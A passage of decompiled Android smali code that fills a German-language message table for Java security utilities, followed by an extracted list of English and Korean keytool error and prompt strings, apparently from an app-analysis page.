                                                                              2473aput-object v3, v2, v4
                                                                              2475const-string v3, "Code-Basis"
                                                                              2476aput-object v3, v2, v5
                                                                              2477aput-object v2, v0, v1
                                                                              2478const/16 v1, 0x113
                                                                              2479new-array v2, v6, [Ljava/lang/Object;
                                                                              2481const-string v3, "KeyStore U R L:"
                                                                              2482aput-object v3, v2, v4
                                                                              2484const-string v3, "KeyStore-URL:"
                                                                              2485aput-object v3, v2, v5
                                                                              2486aput-object v2, v0, v1
                                                                              2487const/16 v1, 0x114
                                                                              2488new-array v2, v6, [Ljava/lang/Object;
                                                                              2490const-string v3, "KeyStore Password U R L:"
                                                                              2491aput-object v3, v2, v4
                                                                              2493const-string v3, "KeyStore-Passwort-URL:"
                                                                              2494aput-object v3, v2, v5
                                                                              2495aput-object v2, v0, v1
                                                                              2496const/16 v1, 0x115
                                                                              2497new-array v2, v6, [Ljava/lang/Object;
                                                                              2499const-string v3, "invalid null input(s)"
                                                                              2500aput-object v3, v2, v4
                                                                              2502const-string v3, "Ung\u00fcltige Null-Eingabe(n)"
                                                                              2503aput-object v3, v2, v5
                                                                              2504aput-object v2, v0, v1
                                                                              2505const/16 v1, 0x116
                                                                              2506new-array v2, v6, [Ljava/lang/Object;
                                                                              2508const-string v3, "actions can only be \'read\'"
                                                                              2509aput-object v3, v2, v4
                                                                              2511const-string v3, "Aktionen k\u00f6nnen nur \'gelesen\' werden"
                                                                              2512aput-object v3, v2, v5
                                                                              2513aput-object v2, v0, v1
                                                                              2514const/16 v1, 0x117
                                                                              2515new-array v2, v6, [Ljava/lang/Object;
                                                                              2517const-string v3, "permission name [name] syntax invalid: "
                                                                              2518aput-object v3, v2, v4
                                                                              2520const-string v3, "Syntax f\u00fcr Berechtigungsnamen [{0}] ung\u00fcltig: "
                                                                              2521aput-object v3, v2, v5
                                                                              2522aput-object v2, v0, v1
                                                                              2523const/16 v1, 0x118
                                                                              2524new-array v2, v6, [Ljava/lang/Object;
                                                                              2526const-string v3, "Credential Class not followed by a Principal Class and Name"
                                                                              2527aput-object v3, v2, v4
                                                                              2529const-string v3, "Nach Authentisierungsklasse folgt keine Principal-Klasse und kein Name."
                                                                              2530aput-object v3, v2, v5
                                                                              2531aput-object v2, v0, v1
                                                                              2532const/16 v1, 0x119
                                                                              2533new-array v2, v6, [Ljava/lang/Object;
                                                                              2535const-string v3, "Principal Class not followed by a Principal Name"
                                                                              2536aput-object v3, v2, v4
                                                                              2538const-string v3, "Nach Principal-Klasse folgt kein Principal-Name"
                                                                              2539aput-object v3, v2, v5
                                                                              2540aput-object v2, v0, v1
                                                                              2541const/16 v1, 0x11a
                                                                              2542new-array v2, v6, [Ljava/lang/Object;
                                                                              2544const-string v3, "Principal Name must be surrounded by quotes"
                                                                              2545aput-object v3, v2, v4
                                                                              2547const-string v3, "Principal-Name muss vorn und hinten mit Anf\u00fchrungsstrichen versehen sein"
                                                                              2548aput-object v3, v2, v5
                                                                              2549aput-object v2, v0, v1
                                                                              2550const/16 v1, 0x11b
                                                                              2551new-array v2, v6, [Ljava/lang/Object;
                                                                              2553const-string v3, "Principal Name missing end quote"
                                                                              2554aput-object v3, v2, v4
                                                                              2556const-string v3, "Abschlie\u00dfendes Anf\u00fchrungszeichen f\u00fcr Principal-Name fehlt"
                                                                              2557aput-object v3, v2, v5
                                                                              2558aput-object v2, v0, v1
                                                                              2559const/16 v1, 0x11c
                                                                              2560new-array v2, v6, [Ljava/lang/Object;
                                                                              2562const-string v3, "PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value"
                                                                              2563aput-object v3, v2, v4
                                                                              2565const-string v3, "Private Authentisierungsberechtigung Principal-Klasse kann kein Wildcardwert (*) sein, wenn der Principal-Name kein Wildcardwert (*) ist."
                                                                              2566aput-object v3, v2, v5
                                                                              2567aput-object v2, v0, v1
                                                                              2568const/16 v1, 0x11d
                                                                              2569new-array v2, v6, [Ljava/lang/Object;
                                                                              2571const-string v3, "CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name"
                                                                              2572aput-object v3, v2, v4
                                                                              2574const-string v3, "Authentisierungsbesitzer:\n\tPrincipal-Klasse = {0}\n\tPrincipal-Name = {1}"
                                                                              2575aput-object v3, v2, v5
                                                                              2576aput-object v2, v0, v1
                                                                              2577const/16 v1, 0x11e
                                                                              2578new-array v2, v6, [Ljava/lang/Object;
                                                                              2580const-string v3, "provided null name"
                                                                              2581aput-object v3, v2, v4
                                                                              2583const-string v3, "hat Null als Namen geliefert"
                                                                              2584aput-object v3, v2, v5
                                                                              2585aput-object v2, v0, v1
                                                                              2586const/16 v1, 0x11f
                                                                              2587new-array v2, v6, [Ljava/lang/Object;
                                                                              2589const-string v3, "provided null keyword map"
                                                                              2590aput-object v3, v2, v4
                                                                              2592const-string v3, "Leere Schl\u00fcsselwort-Map"
                                                                              2593aput-object v3, v2, v5
                                                                              2594aput-object v2, v0, v1
                                                                              2595const/16 v1, 0x120
                                                                              2596new-array v2, v6, [Ljava/lang/Object;
                                                                              2598const-string v3, "provided null OID map"
                                                                              2599aput-object v3, v2, v4
                                                                              2601const-string v3, "Leere OID-Map"
                                                                              2602aput-object v3, v2, v5
                                                                              2603aput-object v2, v0, v1
                                                                              2604const/16 v1, 0x121
                                                                              2605new-array v2, v6, [Ljava/lang/Object;
                                                                              2607const-string v3, "invalid null AccessControlContext provided"
                                                                              2608aput-object v3, v2, v4
                                                                              2610const-string v3, "Ung\u00fcltige Null als Zugangskontrollkontext geliefert"
                                                                              2611aput-object v3, v2, v5
                                                                              2612aput-object v2, v0, v1
                                                                              2613const/16 v1, 0x122
                                                                              2614new-array v2, v6, [Ljava/lang/Object;
                                                                              2616const-string v3, "invalid null action provided"
                                                                              2617aput-object v3, v2, v4
                                                                              2619const-string v3, "Ung\u00fcltige Null als Aktion geliefert"
                                                                              2620aput-object v3, v2, v5
                                                                              2621aput-object v2, v0, v1
                                                                              2622const/16 v1, 0x123
                                                                              2623new-array v2, v6, [Ljava/lang/Object;
                                                                              2625const-string v3, "invalid null Class provided"
                                                                              2626aput-object v3, v2, v4
                                                                              2628const-string v3, "Ung\u00fcltige Null als Klasse geliefert"
                                                                              2629aput-object v3, v2, v5
                                                                              2630aput-object v2, v0, v1
                                                                              2631const/16 v1, 0x124
                                                                              2632new-array v2, v6, [Ljava/lang/Object;
                                                                              2634const-string v3, "Subject:\n"
                                                                              2635aput-object v3, v2, v4
                                                                              2637const-string v3, "Betreff:\n"
                                                                              2638aput-object v3, v2, v5
                                                                              2639aput-object v2, v0, v1
                                                                              2640const/16 v1, 0x125
                                                                              2641new-array v2, v6, [Ljava/lang/Object;
                                                                              2643const-string v3, "\tPrincipal: "
                                                                              2644aput-object v3, v2, v4
                                                                              2646const-string v3, "\tPrincipal: "
                                                                              2647aput-object v3, v2, v5
                                                                              2648aput-object v2, v0, v1
                                                                              2649const/16 v1, 0x126
                                                                              2650new-array v2, v6, [Ljava/lang/Object;
                                                                              2652const-string v3, "\tPublic Credential: "
                                                                              2653aput-object v3, v2, v4
                                                                              2655const-string v3, "\t\u00d6ffentliche Authentisierung: "
                                                                              2656aput-object v3, v2, v5
                                                                              2657aput-object v2, v0, v1
                                                                              2658const/16 v1, 0x127
                                                                              2659new-array v2, v6, [Ljava/lang/Object;
                                                                              2661const-string v3, "\tPrivate Credentials inaccessible\n"
                                                                              2662aput-object v3, v2, v4
                                                                              2664const-string v3, "\tKein Zugriff auf private Authentisierungen m\u00f6glich\n"
                                                                              2665aput-object v3, v2, v5
                                                                              2666aput-object v2, v0, v1
                                                                              2667const/16 v1, 0x128
                                                                              2668new-array v2, v6, [Ljava/lang/Object;
                                                                              2670const-string v3, "\tPrivate Credential: "
                                                                              2671aput-object v3, v2, v4
                                                                              2673const-string v3, "\tPrivate Authentisierung: "
                                                                              2674aput-object v3, v2, v5
                                                                              2675aput-object v2, v0, v1
                                                                              2676const/16 v1, 0x129
                                                                              2677new-array v2, v6, [Ljava/lang/Object;
                                                                              2679const-string v3, "\tPrivate Credential inaccessible\n"
                                                                              2680aput-object v3, v2, v4
                                                                              2682const-string v3, "\tKein Zugriff auf private Authentisierung m\u00f6glich\n"
                                                                              2683aput-object v3, v2, v5
                                                                              2684aput-object v2, v0, v1
                                                                              2685const/16 v1, 0x12a
                                                                              2686new-array v2, v6, [Ljava/lang/Object;
                                                                              2688const-string v3, "Subject is read-only"
                                                                              2689aput-object v3, v2, v4
                                                                              2691const-string v3, "Betreff ist schreibgesch\u00fctzt"
                                                                              2692aput-object v3, v2, v5
                                                                              2693aput-object v2, v0, v1
                                                                              2694const/16 v1, 0x12b
                                                                              2695new-array v2, v6, [Ljava/lang/Object;
                                                                              2697const-string v3, "attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set"
                                                                              2698aput-object v3, v2, v4
                                                                              2700const-string v3, "Es wird versucht, ein Objekt hinzuzuf\u00fcgen, das keine Instanz von java.security.Principal f\u00fcr eine Principal-Gruppe eines Betreffs ist."
                                                                              2701aput-object v3, v2, v5
                                                                              2702aput-object v2, v0, v1
                                                                              2703const/16 v1, 0x12c
                                                                              2704new-array v2, v6, [Ljava/lang/Object;
                                                                              2706const-string v3, "attempting to add an object which is not an instance of class"
                                                                              2707aput-object v3, v2, v4
                                                                              2709const-string v3, "Es wird versucht, ein Objekt hinzuzuf\u00fcgen, das keine Instanz von {0} ist."
                                                                              2710aput-object v3, v2, v5
                                                                              2711aput-object v2, v0, v1
                                                                              2712const/16 v1, 0x12d
                                                                              2713new-array v2, v6, [Ljava/lang/Object;
                                                                              2715const-string v3, "LoginModuleControlFlag: "
                                                                              2716aput-object v3, v2, v4
                                                                              2718const-string v3, "Anmeldemodul-Steuerflag: "
                                                                              2719aput-object v3, v2, v5
                                                                              2720aput-object v2, v0, v1
                                                                              2721const/16 v1, 0x12e
                                                                              2722new-array v2, v6, [Ljava/lang/Object;
                                                                              2724const-string v3, "Invalid null input: name"
                                                                              2725aput-object v3, v2, v4
                                                                              2727const-string v3, "Ung\u00fcltige Nulleingabe: Name"
                                                                              2728aput-object v3, v2, v5
                                                                              2729aput-object v2, v0, v1
                                                                              2730const/16 v1, 0x12f
                                                                              2731new-array v2, v6, [Ljava/lang/Object;
                                                                              2733const-string v3, "No LoginModules configured for name"
                                                                              2734aput-object v3, v2, v4
                                                                              2736const-string v3, "F\u00fcr {0} sind keine Anmeldemodule konfiguriert."
                                                                              2737aput-object v3, v2, v5
                                                                              2738aput-object v2, v0, v1
                                                                              2739const/16 v1, 0x130
                                                                              2740new-array v2, v6, [Ljava/lang/Object;
                                                                              2742const-string v3, "invalid null Subject provided"
                                                                              2743aput-object v3, v2, v4
                                                                              2745const-string v3, "Ung\u00fcltige Null als Betreff geliefert"
                                                                              2746aput-object v3, v2, v5
                                                                              2747aput-object v2, v0, v1
                                                                              2748const/16 v1, 0x131
                                                                              2749new-array v2, v6, [Ljava/lang/Object;
                                                                              2751const-string v3, "invalid null CallbackHandler provided"
                                                                              2752aput-object v3, v2, v4
                                                                              2754const-string v3, "Ung\u00fcltige Null als Callback-Handler geliefert"
                                                                              2755aput-object v3, v2, v5
                                                                              2756aput-object v2, v0, v1
                                                                              2757const/16 v1, 0x132
                                                                              2758new-array v2, v6, [Ljava/lang/Object;
                                                                              2760const-string v3, "null subject - logout called before login"
                                                                              2761aput-object v3, v2, v4
                                                                              2763const-string v3, "Null-Betreff - Abmeldung vor Anmeldung aufgerufen"
                                                                              2764aput-object v3, v2, v5
                                                                              2765aput-object v2, v0, v1
                                                                              2766const/16 v1, 0x133
                                                                              2767new-array v2, v6, [Ljava/lang/Object;
                                                                              2769const-string v3, "unable to instantiate LoginModule, module, because it does not provide a no-argument constructor"
                                                                              2770aput-object v3, v2, v4
                                                                              2772const-string v3, "Es kann keine Instanz des Anmeldemoduls {0} erstellt werden, weil es keinen argumentlosen Konstruktor liefert."
                                                                              2773aput-object v3, v2, v5
                                                                              2774aput-object v2, v0, v1
                                                                              2775const/16 v1, 0x134
                                                                              2776new-array v2, v6, [Ljava/lang/Object;
                                                                              2778const-string v3, "unable to instantiate LoginModule"
                                                                              2779aput-object v3, v2, v4
                                                                              2781const-string v3, "Es kann keine Instanz des Anmeldemoduls erstellt werden."
                                                                              2782aput-object v3, v2, v5
                                                                              2783aput-object v2, v0, v1
                                                                              2784const/16 v1, 0x135
                                                                              2785new-array v2, v6, [Ljava/lang/Object;
                                                                              2787const-string v3, "unable to instantiate LoginModule: "
                                                                              2788aput-object v3, v2, v4
                                                                              2790const-string v3, "LoginModule konnte nicht instanziiert werden: "
                                                                              2791aput-object v3, v2, v5
                                                                              2792aput-object v2, v0, v1
                                                                              2793const/16 v1, 0x136
                                                                              2794new-array v2, v6, [Ljava/lang/Object;
                                                                              2796const-string v3, "unable to find LoginModule class: "
                                                                              2797aput-object v3, v2, v4
                                                                              2799const-string v3, "Die Anmeldemodulklasse kann nicht gefunden werden: "
                                                                              2800aput-object v3, v2, v5
                                                                              2801aput-object v2, v0, v1
                                                                              2802const/16 v1, 0x137
                                                                              2803new-array v2, v6, [Ljava/lang/Object;
                                                                              2805const-string v3, "unable to access LoginModule: "
                                                                              2806aput-object v3, v2, v4
                                                                              2808const-string v3, "Kein Zugriff auf Anmeldemodul m\u00f6glich: "
                                                                              2809aput-object v3, v2, v5
                                                                              2810aput-object v2, v0, v1
                                                                              2811const/16 v1, 0x138
                                                                              2812new-array v2, v6, [Ljava/lang/Object;
                                                                              2814const-string v3, "Login Failure: all modules ignored"
                                                                              2815aput-object v3, v2, v4
                                                                              2817const-string v3, "Anmeldefehler: Alle Module werden ignoriert"
                                                                              2818aput-object v3, v2, v5
                                                                              2819aput-object v2, v0, v1
                                                                              2820const/16 v1, 0x139
                                                                              2821new-array v2, v6, [Ljava/lang/Object;
                                                                              2823const-string v3, "java.security.policy: error parsing policy:\n\tmessage"
                                                                              2824aput-object v3, v2, v4
                                                                              2826const-string v3, "java.security.policy: Fehler bei Analyse {0}:\n\t{1}"
                                                                              2827aput-object v3, v2, v5
                                                                              2828aput-object v2, v0, v1
                                                                              2829const/16 v1, 0x13a
                                                                              2830new-array v2, v6, [Ljava/lang/Object;
                                                                              2832const-string v3, "java.security.policy: error adding Permission, perm:\n\tmessage"
                                                                              2833aput-object v3, v2, v4
                                                                              2835const-string v3, "java.security.policy: Fehler beim Hinzuf\u00fcgen der Genehmigung, {0}:\n\t{1}"
                                                                              2836aput-object v3, v2, v5
                                                                              2837aput-object v2, v0, v1
                                                                              2838const/16 v1, 0x13b
                                                                              2839new-array v2, v6, [Ljava/lang/Object;
                                                                              2841const-string v3, "java.security.policy: error adding Entry:\n\tmessage"
                                                                              2842aput-object v3, v2, v4
                                                                              2844const-string v3, "java.security.policy: Fehler beim Hinzuf\u00fcgen des Eintrags:\n\t{0}"
                                                                              2845aput-object v3, v2, v5
                                                                              2846aput-object v2, v0, v1
                                                                              2847const/16 v1, 0x13c
                                                                              2848new-array v2, v6, [Ljava/lang/Object;
                                                                              2850const-string v3, "alias name not provided (pe.name)"
                                                                              2851aput-object v3, v2, v4
                                                                              2853const-string v3, "Aliasname nicht bereitgestellt ({0})"
                                                                              2854aput-object v3, v2, v5
                                                                              2855aput-object v2, v0, v1
                                                                              2856const/16 v1, 0x13d
                                                                              2857new-array v2, v6, [Ljava/lang/Object;
                                                                              2859const-string v3, "unable to perform substitution on alias, suffix"
                                                                              2860aput-object v3, v2, v4
                                                                              2862const-string v3, "kann Substition von Alias nicht durchf\u00fchren, {0}"
                                                                              2863aput-object v3, v2, v5
                                                                              2864aput-object v2, v0, v1
                                                                              2865const/16 v1, 0x13e
                                                                              2866new-array v2, v6, [Ljava/lang/Object;
                                                                              2868const-string v3, "substitution value, prefix, unsupported"
                                                                              2869aput-object v3, v2, v4
                                                                              2871const-string v3, "Substitutionswert, {0}, nicht unterst\u00fctzt"
                                                                              2872aput-object v3, v2, v5
                                                                              2873aput-object v2, v0, v1
                                                                              2874const/16 v1, 0x13f
                                                                              2875new-array v2, v6, [Ljava/lang/Object;
                                                                              2877const-string v3, "("
                                                                              2878aput-object v3, v2, v4
                                                                              2880const-string v3, "("
                                                                              2881aput-object v3, v2, v5
                                                                              2882aput-object v2, v0, v1
                                                                              2883const/16 v1, 0x140
                                                                              2884new-array v2, v6, [Ljava/lang/Object;
                                                                              2886const-string v3, ")"
                                                                              2887aput-object v3, v2, v4
                                                                              2889const-string v3, ")"
                                                                              2890aput-object v3, v2, v5
                                                                              2891aput-object v2, v0, v1
                                                                              2892const/16 v1, 0x141
                                                                              2893new-array v2, v6, [Ljava/lang/Object;
                                                                              2895const-string v3, "type can\'t be null"
                                                                              2896aput-object v3, v2, v4
                                                                              2898const-string v3, "Typ kann nicht Null sein"
                                                                              2899aput-object v3, v2, v5
                                                                              2900aput-object v2, v0, v1
                                                                              2901const/16 v1, 0x142
                                                                              2902new-array v2, v6, [Ljava/lang/Object;
                                                                              2904const-string v3, "keystorePasswordURL can not be specified without also specifying keystore"
                                                                              2905aput-object v3, v2, v4
                                                                              2907const-string v3, "keystorePasswordURL kann nicht ohne Keystore angegeben werden"
                                                                              2908aput-object v3, v2, v5
                                                                              2909aput-object v2, v0, v1
                                                                              2910const/16 v1, 0x143
                                                                              2911new-array v2, v6, [Ljava/lang/Object;
                                                                              2913const-string v3, "expected keystore type"
                                                                              2914aput-object v3, v2, v4
                                                                              2916const-string v3, "erwarteter Keystore-Typ"
                                                                              2917aput-object v3, v2, v5
                                                                              2918aput-object v2, v0, v1
                                                                              2919const/16 v1, 0x144
                                                                              2920new-array v2, v6, [Ljava/lang/Object;
                                                                              2922const-string v3, "expected keystore provider"
                                                                              2923aput-object v3, v2, v4
                                                                              2925const-string v3, "erwarteter Keystore-Provider"
                                                                              2926aput-object v3, v2, v5
                                                                              2927aput-object v2, v0, v1
                                                                              2928const/16 v1, 0x145
                                                                              2929new-array v2, v6, [Ljava/lang/Object;
                                                                              2931const-string v3, "multiple Codebase expressions"
                                                                              2932aput-object v3, v2, v4
                                                                              2934const-string v3, "mehrere Codebase-Ausdr\u00fccke"
                                                                              2935aput-object v3, v2, v5
                                                                              2936aput-object v2, v0, v1
                                                                              2937const/16 v1, 0x146
                                                                              2938new-array v2, v6, [Ljava/lang/Object;
                                                                              2940const-string v3, "multiple SignedBy expressions"
                                                                              2941aput-object v3, v2, v4
                                                                              2943const-string v3, "mehrere SignedBy-Ausdr\u00fccke"
                                                                              2944aput-object v3, v2, v5
                                                                              2945aput-object v2, v0, v1
                                                                              2946const/16 v1, 0x147
                                                                              2947new-array v2, v6, [Ljava/lang/Object;
                                                                              2949const-string v3, "SignedBy has empty alias"
                                                                              2950aput-object v3, v2, v4
                                                                              2952const-string v3, "Leerer Alias in SignedBy"
                                                                              2953aput-object v3, v2, v5
                                                                              2954aput-object v2, v0, v1
                                                                              2955const/16 v1, 0x148
                                                                              2956new-array v2, v6, [Ljava/lang/Object;
                                                                              2958const-string v3, "can not specify Principal with a wildcard class without a wildcard name"
                                                                              2959aput-object v3, v2, v4
                                                                              2961const-string v3, "Kann Principal nicht mit einer Wildcard-Klasse ohne Wildcard-Namen angeben."
                                                                              2962aput-object v3, v2, v5
                                                                              2963aput-object v2, v0, v1
                                                                              2964const/16 v1, 0x149
                                                                              2965new-array v2, v6, [Ljava/lang/Object;
                                                                              2967const-string v3, "expected codeBase or SignedBy or Principal"
                                                                              2968aput-object v3, v2, v4
                                                                              2970const-string v3, "CodeBase oder SignedBy oder Principal erwartet"
                                                                              2971aput-object v3, v2, v5
                                                                              2972aput-object v2, v0, v1
                                                                              2973const/16 v1, 0x14a
                                                                              2974new-array v2, v6, [Ljava/lang/Object;
                                                                              2976const-string v3, "expected permission entry"
                                                                              2977aput-object v3, v2, v4
                                                                              2979const-string v3, "Berechtigungseintrag erwartet"
                                                                              2980aput-object v3, v2, v5
                                                                              2981aput-object v2, v0, v1
                                                                              2982const/16 v1, 0x14b
                                                                              2983new-array v2, v6, [Ljava/lang/Object;
                                                                              2985const-string v3, "number "
                                                                              2986aput-object v3, v2, v4
                                                                              2988const-string v3, "Nummer "
                                                                              2989aput-object v3, v2, v5
                                                                              2990aput-object v2, v0, v1
                                                                              2991const/16 v1, 0x14c
                                                                              2992new-array v2, v6, [Ljava/lang/Object;
                                                                              2994const-string v3, "expected [expect], read [end of file]"
                                                                              2995aput-object v3, v2, v4
                                                                              2997const-string v3, "erwartet [{0}], gelesen [Dateiende]"
                                                                              2998aput-object v3, v2, v5
                                                                              2999aput-object v2, v0, v1
                                                                              3000const/16 v1, 0x14d
                                                                              3001new-array v2, v6, [Ljava/lang/Object;
                                                                              3003const-string v3, "expected [;], read [end of file]"
                                                                              3004aput-object v3, v2, v4
                                                                              3006const-string v3, "erwartet [;], gelesen [Dateiende]"
                                                                              3007aput-object v3, v2, v5
                                                                              3008aput-object v2, v0, v1
                                                                              3009const/16 v1, 0x14e
                                                                              3010new-array v2, v6, [Ljava/lang/Object;
                                                                              3012const-string v3, "line number: msg"
                                                                              3013aput-object v3, v2, v4
                                                                              3015const-string v3, "Zeile {0}: {1}"
                                                                              3016aput-object v3, v2, v5
                                                                              3017aput-object v2, v0, v1
                                                                              3018const/16 v1, 0x14f
                                                                              3019new-array v2, v6, [Ljava/lang/Object;
                                                                              3021const-string v3, "line number: expected [expect], found [actual]"
                                                                              3022aput-object v3, v2, v4
                                                                              3024const-string v3, "Zeile {0}: erwartet [{1}], gefunden [{2}]"
                                                                              3025aput-object v3, v2, v5
                                                                              3026aput-object v2, v0, v1
                                                                              3027const/16 v1, 0x150
                                                                              3028new-array v2, v6, [Ljava/lang/Object;
                                                                              3030const-string v3, "null principalClass or principalName"
                                                                              3031aput-object v3, v2, v4
                                                                              3033const-string v3, "Principal-Klasse oder Principal-Name Null"
                                                                              3034aput-object v3, v2, v5
                                                                              3035aput-object v2, v0, v1
                                                                              3036const/16 v1, 0x151
                                                                              3037new-array v2, v6, [Ljava/lang/Object;
                                                                              3039const-string v3, "PKCS11 Token [providerName] Password: "
                                                                              3040aput-object v3, v2, v4
                                                                              3042const-string v3, "Passwort f\u00fcr PKCS11-Token [{0}]: "
                                                                              3043aput-object v3, v2, v5
                                                                              3044aput-object v2, v0, v1
                                                                              3045const/16 v1, 0x152
                                                                              3046new-array v2, v6, [Ljava/lang/Object;
                                                                              3048const-string v3, "unable to instantiate Subject-based policy"
                                                                              3049aput-object v3, v2, v4
                                                                              3051const-string v3, "auf Subject basierende Richtlinie konnte nicht instanziiert werden"
                                                                              3052aput-object v3, v2, v5
                                                                              3053aput-object v2, v0, v1
                                                                              3054sput-object v0, Lcom/android/leech/patch/apksigner/sun/security/util/Resources_de;->contents:[[Ljava/lang/Object;
                                                                              3055return-void
                                                                              APIs
                                                                              Strings
                                                                              • ,
                                                                              • \n
                                                                              • *******************************************
                                                                              • *******************************************\n\n
                                                                              • keytool error:
                                                                              • keytool \uc624\ub958:
                                                                              • Illegal option:
                                                                              • \uc798\ubabb\ub41c \uc635\uc158:
                                                                              • Try keytool -help
                                                                              • keytool -help \uc0ac\uc6a9
                                                                              • Command option <flag> needs an argument.
                                                                              • \uba85\ub839 \uc635\uc158 {0}\uc5d0 \uc778\uc218\uac00 \ud544\uc694\ud569\ub2c8\ub2e4.
                                                                              • Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value.
                                                                              • \uacbd\uace0:\t \ub2e4\ub978 \uc800\uc7a5\uc18c \ubc0f \ud0a4 \uc554\ud638\ub294 PKCS12 \ud0a4 \uc800\uc7a5\uc18c\uc5d0 \ub300\ud574 \uc9c0\uc6d0\ub418\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4. \uc0ac\uc6a9\uc790\uac00 \uc9c0\uc815\ud55c {0} \uac12\uc744 \ubb34\uc2dc\ud569\ub2c8\ub2e4.
                                                                              • -keystore must be NONE if -storetype is {0}
                                                                              • -storetype\uc774 {0}\uc778 \uacbd\uc6b0 -keystore\uac00 NONE\uc774\uc5b4\uc57c \ud568
                                                                              • Too may retries, program terminated
                                                                              • \uc7ac\uc2dc\ub3c4 \ud69f\uc218\uac00 \ub108\ubb34 \ub9ce\uc544 \ud504\ub85c\uadf8\ub7a8\uc774 \uc885\ub8cc\ub418\uc5c8\uc2b5\ub2c8\ub2e4.
                                                                              • -storepasswd and -keypasswd commands not supported if -storetype is {0}
                                                                              • -storetype\uc774 {0}\uc778 \uacbd\uc6b0 -storepasswd \ubc0f -keypasswd \uba85\ub839\uc774 \uc9c0\uc6d0\ub418\uc9c0 \uc54a\uc74c
                                                                              • -keypasswd commands not supported if -storetype is PKCS12
                                                                              • -storetype\uc774 PKCS12\uc778 \uacbd\uc6b0\uc5d0\ub294 -keypasswd \uba85\ub839\uc774 \uc9c0\uc6d0\ub418\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.
                                                                              • -keypass and -new can not be specified if -storetype is {0}
                                                                              • -storetype\uc774 {0}\uc778 \uacbd\uc6b0 -keypass \ubc0f -new\ub97c \uc9c0\uc815\ud560 \uc218 \uc5c6\uc74c
                                                                              • if -protected is specified, then -storepass, -keypass, and -new must not be specified
                                                                              • -protected\uac00 \uc9c0\uc815\ub41c \uacbd\uc6b0 -storepass, -keypass \ubc0f -new\ub294 \uc9c0\uc815\ub418\uc9c0 \uc54a\uc544\uc57c \ud569\ub2c8\ub2e4.
                                                                              • if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified
                                                                              • -srcprotected\ub97c \uc9c0\uc815\ud55c \uacbd\uc6b0 -srcstorepass \ubc0f -srckeypass\ub97c \uc9c0\uc815\ud558\uba74 \uc548 \ub429\ub2c8\ub2e4.
                                                                              • if keystore is not password protected, then -storepass, -keypass, and -new must not be specified
                                                                              • \ud0a4 \uc800\uc7a5\uc18c\uac00 \uc554\ud638\ub85c \ubcf4\ud638\ub418\uc9c0 \uc54a\uc740 \uacbd\uc6b0 -storepass, -keypass \ubc0f -new\ub97c \uc9c0\uc815\ud558\uba74 \uc548 \ub428
                                                                              • if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified
                                                                              • \uc18c\uc2a4 \ud0a4 \uc800\uc7a5\uc18c\uac00 \uc554\ud638\ub85c \ubcf4\ud638\ub418\uc9c0 \uc54a\uc740 \uacbd\uc6b0 -srcstorepass \ubc0f -srckeypass\ub97c \uc9c0\uc815\ud558\uba74 \uc548 \ub428
                                                                              • Validity must be greater than zero
                                                                              • \uc720\ud6a8\uc131\uc740 0\ubcf4\ub2e4 \ucee4\uc57c \ud569\ub2c8\ub2e4.
                                                                              • provName not a provider
                                                                              • {0}\uc740(\ub294) \uacf5\uae09\uc790\uac00 \uc544\ub2d9\ub2c8\ub2e4.
                                                                              • Usage error: no command provided
                                                                              • \uc0ac\uc6a9\ubc95 \uc624\ub958: \uba85\ub839\uc744 \uc785\ub825\ud558\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4.
                                                                              • Usage error, <arg> is not a legal command
                                                                              • \uc0ac\uc6a9\ubc95 \uc624\ub958\uc785\ub2c8\ub2e4. {0}\uc740(\ub294) \uc720\ud6a8\ud55c \uba85\ub839\uc774 \uc544\ub2d9\ub2c8\ub2e4.
                                                                              • Source keystore file exists, but is empty:
                                                                              • \uc18c\uc2a4 \ud0a4 \uc800\uc7a5\uc18c \ud30c\uc77c\uc774 \uc788\uc9c0\ub9cc \ube44\uc5b4 \uc788\uc2b5\ub2c8\ub2e4.
                                                                              • Please specify -srckeystore
                                                                              • -srckeystore\ub97c \uc9c0\uc815\ud558\uc2ed\uc2dc\uc624.
                                                                              • Must not specify both -v and -rfc with \'list\' command
                                                                              • \'list\' \uba85\ub839\uc5d0 -v\uc640 -rfc\ub97c \ubaa8\ub450 \uc9c0\uc815\ud574\uc11c\ub294 \uc548 \ub429\ub2c8\ub2e4.
                                                                              • Key password must be at least 6 characters
                                                                              • \ud0a4 \uc554\ud638\ub294 \uc5ec\uc12f \uae00\uc790 \uc774\uc0c1\uc774\uc5b4\uc57c \ud569\ub2c8\ub2e4.
                                                                              • New password must be at least 6 characters
                                                                              • \uc0c8 \uc554\ud638\ub294 \uc5ec\uc12f \uae00\uc790 \uc774\uc0c1\uc774\uc5b4\uc57c \ud569\ub2c8\ub2e4.
                                                                              • Keystore file exists, but is empty:
                                                                              • keystore \ud30c\uc77c\uc774 \uc788\uc9c0\ub9cc \ube44\uc5b4 \uc788\uc2b5\ub2c8\ub2e4:
                                                                              • Keystore file does not exist:
                                                                              • keystore \ud30c\uc77c\uc774 \uc5c6\uc2b5\ub2c8\ub2e4:
                                                                              • Must specify destination alias
                                                                              • \ub300\uc0c1 \ubcc4\uce6d\uc744 \uc9c0\uc815\ud574\uc57c \ud569\ub2c8\ub2e4.
                                                                              • Must specify alias
                                                                              • \ubcc4\uce6d\uc744 \uc9c0\uc815\ud574\uc57c \ud569\ub2c8\ub2e4.
                                                                              • Keystore password must be at least 6 characters
                                                                              • Keystore \uc554\ud638\ub294 \uc5ec\uc12f \uae00\uc790 \uc774\uc0c1\uc774\uc5b4\uc57c \ud569\ub2c8\ub2e4.
                                                                              • Enter keystore password:
                                                                              • keystore \uc554\ud638\ub97c \uc785\ub825\ud558\uc2ed\uc2dc\uc624:
                                                                              • Enter source keystore password:
                                                                              • \uc18c\uc2a4 \ud0a4 \uc800\uc7a5\uc18c \uc554\ud638 \uc785\ub825:
                                                                              • Enter destination keystore password:
                                                                              • \ub300\uc0c1 \ud0a4 \uc800\uc7a5\uc18c \uc554\ud638 \uc785\ub825:
                                                                              • Keystore password is too short - must be at least 6 characters
